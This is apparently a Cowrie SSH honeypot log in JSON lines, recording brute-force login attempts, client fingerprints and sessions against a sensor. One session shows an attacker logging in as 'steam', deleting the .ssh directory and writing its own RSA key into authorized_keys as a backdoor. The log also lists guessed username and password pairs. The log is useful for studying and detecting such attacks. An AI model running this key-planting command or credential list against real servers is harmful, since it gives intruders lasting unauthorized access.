{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:34.255421Z","src_ip":"43.173.90.78","session":"9db34cfb3afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user02","password":"123","message":"login attempt [user02/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:34.558997Z","src_ip":"43.173.90.78","session":"9db34cfb3afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234..","message":"login attempt [root/1234..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:34.879265Z","src_ip":"150.109.20.59","session":"c9bfc5b94cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:35.631111Z","src_ip":"43.173.90.78","session":"9db34cfb3afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:36.120363Z","src_ip":"150.109.20.59","session":"c9bfc5b94cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":35238,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf71e5782bca","protocol":"ssh","message":"New connection: 40.117.97.0:35238 (10.17.0.5:22) [session: bf71e5782bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:44.189689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:44.240399Z","src_ip":"40.117.97.0","session":"bf71e5782bca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:44.249227Z","src_ip":"40.117.97.0","session":"bf71e5782bca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"squid123","message":"login attempt [root/squid123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:44.341116Z","src_ip":"40.117.97.0","session":"bf71e5782bca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:45.386410Z","src_ip":"40.117.97.0","session":"bf71e5782bca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":36486,"dst_ip":"10.17.0.5","dst_port":22,"session":"04f3b9cba761","protocol":"ssh","message":"New connection: 103.77.175.15:36486 (10.17.0.5:22) [session: 04f3b9cba761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:47.949241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:47.954167Z","src_ip":"103.77.175.15","session":"04f3b9cba761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":59074,"dst_ip":"10.17.0.5","dst_port":22,"session":"072fa5368fc7","protocol":"ssh","message":"New connection: 115.91.48.142:59074 (10.17.0.5:22) [session: 072fa5368fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:47.962612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:47.968089Z","src_ip":"115.91.48.142","session":"072fa5368fc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:48.176590Z","src_ip":"115.91.48.142","session":"072fa5368fc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:48.207289Z","src_ip":"103.77.175.15","session":"04f3b9cba761","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna","message":"login attempt [root/anna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:48.960398Z","src_ip":"103.77.175.15","session":"04f3b9cba761","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"maets","message":"login attempt [steam/maets] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:49.032060Z","src_ip":"115.91.48.142","session":"072fa5368fc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:49.493794Z","src_ip":"115.91.48.142","session":"072fa5368fc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:49.497213Z","src_ip":"115.91.48.142","session":"072fa5368fc7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:49.500789Z","src_ip":"115.91.48.142","session":"072fa5368fc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:49.912553Z","src_ip":"115.91.48.142","session":"072fa5368fc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:50.176048Z","src_ip":"115.91.48.142","session":"072fa5368fc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:50.178910Z","src_ip":"115.91.48.142","session":"072fa5368fc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:50.211385Z","src_ip":"103.77.175.15","session":"04f3b9cba761","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:50.390108Z","src_ip":"115.91.48.142","session":"072fa5368fc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:50.394202Z","src_ip":"115.91.48.142","session":"072fa5368fc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":59086,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e66aeb41457","protocol":"ssh","message":"New connection: 115.91.48.142:59086 (10.17.0.5:22) [session: 2e66aeb41457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:50.578578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:50.583592Z","src_ip":"115.91.48.142","session":"2e66aeb41457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:50.784595Z","src_ip":"115.91.48.142","session":"2e66aeb41457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:51.611027Z","src_ip":"115.91.48.142","session":"2e66aeb41457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:52.819890Z","src_ip":"115.91.48.142","session":"2e66aeb41457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":58420,"dst_ip":"10.17.0.5","dst_port":22,"session":"773874099cbc","protocol":"ssh","message":"New connection: 115.91.48.142:58420 (10.17.0.5:22) [session: 773874099cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:53.029730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:53.038035Z","src_ip":"115.91.48.142","session":"773874099cbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:53.245840Z","src_ip":"115.91.48.142","session":"773874099cbc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:54.109722Z","src_ip":"115.91.48.142","session":"773874099cbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:54.321276Z","src_ip":"115.91.48.142","session":"072fa5368fc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:54.325698Z","src_ip":"115.91.48.142","session":"773874099cbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":44050,"dst_ip":"159.203.135.109","dst_port":22,"session":"91febc1fe5c9","protocol":"ssh","message":"New connection: 193.32.162.151:44050 (159.203.135.109:22) [session: 91febc1fe5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:55.536776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:55.541781Z","src_ip":"193.32.162.151","session":"91febc1fe5c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:55.645319Z","src_ip":"193.32.162.151","session":"91febc1fe5c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"public_django_project","password":"public_django_project123","message":"login attempt [public_django_project/public_django_project123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:55.949614Z","src_ip":"193.32.162.151","session":"91febc1fe5c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:45:57.055376Z","src_ip":"193.32.162.151","session":"91febc1fe5c9","protocol":"ssh"}
